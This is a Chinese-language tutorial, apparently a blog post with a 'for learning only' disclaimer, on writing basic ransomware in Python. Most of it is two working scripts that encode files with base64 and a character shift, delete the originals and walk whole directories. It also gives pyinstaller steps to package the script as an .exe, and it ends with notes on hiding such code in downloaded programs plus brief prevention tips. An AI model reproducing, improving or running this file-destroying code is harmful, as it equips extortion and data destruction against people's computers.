| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
简介
? 勒索病毒能将电脑上的一些重要文件进行数据加密,将文件以二进制的形式进行加密处理,导致无法成功打开加密后的文件,要打开必须要解密,要解密必须要解密程序,从而让我们能够进行勒索。
? 勒索病毒的原理不难,简单来说就是对数据的加密,而解密的办法一般只有我们自己知道,接下去就让我们来编写一些简单的勒索病毒吧!
前言
? 勒索病毒更多情况下是.exe的可执行文件,一般情况下都是由编译型语言编写后编译形成。由于python属于解释性语言,无法直接生成可执行文件,所以我们可以安装使用 pyinstaller 模块,将 py 文件打包为 exe 文件执行。下面附上 pyinstaller 基础用法。
pip3 install pyinstaller
pyinstaller [...].py
开始编写
这里我们的勒索病毒是基于base64实现的,当然还可以使用别的方法,原理都是一样的。
下面就是攻击脚本全貌,照着注释食用。
对单个文件进行加密
import base64, os
def encrypt(filepath):
with open(file=filepath, mode='rb') as f1:
data = base64.b64encode(f1.read()).decode()
content = ''
for single_char in data:
content += chr(ord(single_char) + 5)
with open(file=filepath + '.enc', mode='w') as f2:
f2.write(content)
os.remove(filepath)
def decrypt(filepath):
with open(file=filepath, mode='r') as f1:
data = f1.read()
content = ''
for single_char in data:
content += chr(ord(single_char) - 5)
new_filepath = filepath.replace('.enc', '')
with open(file=new_filepath, mode='wb') as f2:
f2.write(base64.b64decode(content.encode()))
os.remove(filepath)
if __name__ == '__main__':
encrypt('file.jpeg')
对一个目录中的所有文件进行加密
对目录来说,我们先要浅学一下 os.walk() 目录遍历函数(很简单,可上网搜)
import base64, os
def encrypt(dir_path):
filepaths = get_files_from_dir(dir_path)
if not filepaths == '':
for filepath in filepaths:
with open(file=filepath, mode='rb') as f1:
data = base64.b64encode(f1.read()).decode()
content = ''
for single_char in data:
content += chr(ord(single_char) + 5)
with open(file=filepath + '.enc', mode='w') as f2:
f2.write(content)
os.remove(filepath)
else:
print('目录不存在')
def decrypt(dir_path):
filepaths = get_files_from_dir(dir_path)
if not filepaths == '':
for filepath in filepaths:
with open(file=filepath, mode='r') as f1:
data = f1.read()
content = ''
for single_char in data:
content += chr(ord(single_char) - 5)
new_filepath = filepath.replace('.enc', '')
with open(file=new_filepath, mode='wb') as f2:
f2.write(base64.b64decode(content.encode()))
os.remove(filepath)
else:
print('目录不存在')
def get_files_from_dir(dir_path):
if not os.path.exists(dir_path):
return ''
file_paths = []
for root, directories, files in os.walk(dir_path):
for filename in files:
filepath = os.path.join(root, filename)
file_paths.append(filepath)
return file_paths
if __name__ == '__main__':
encrypt('123')
简单试试
对单个文件
加密:
原来的图片:
加密后变成了文本:
解密后,重新回到了照片的形式
对文件夹
加密之前:
加密之后:
攻击猜想
? 一般情况下,攻击者不会对整个文件进行加密,往往就是文件的一块,以达到快速污染磁盘文件的目的。一般情况下这串病毒代码可能会附着在一些小软件中(.exe),所以非官方途径的下载必须要小心,运行之后可能就会对磁盘文件产生污染,而且有的针对性的勒索病毒还不容易被查杀,就如上面的代码,可能在电脑看来都是非常正常的程序,但是却会产生很大的破坏力。
防范
- 少下非官方途径的文件
- 如果真的被感染,要迅速断电,防止更多文件被污染(一般情况下)
|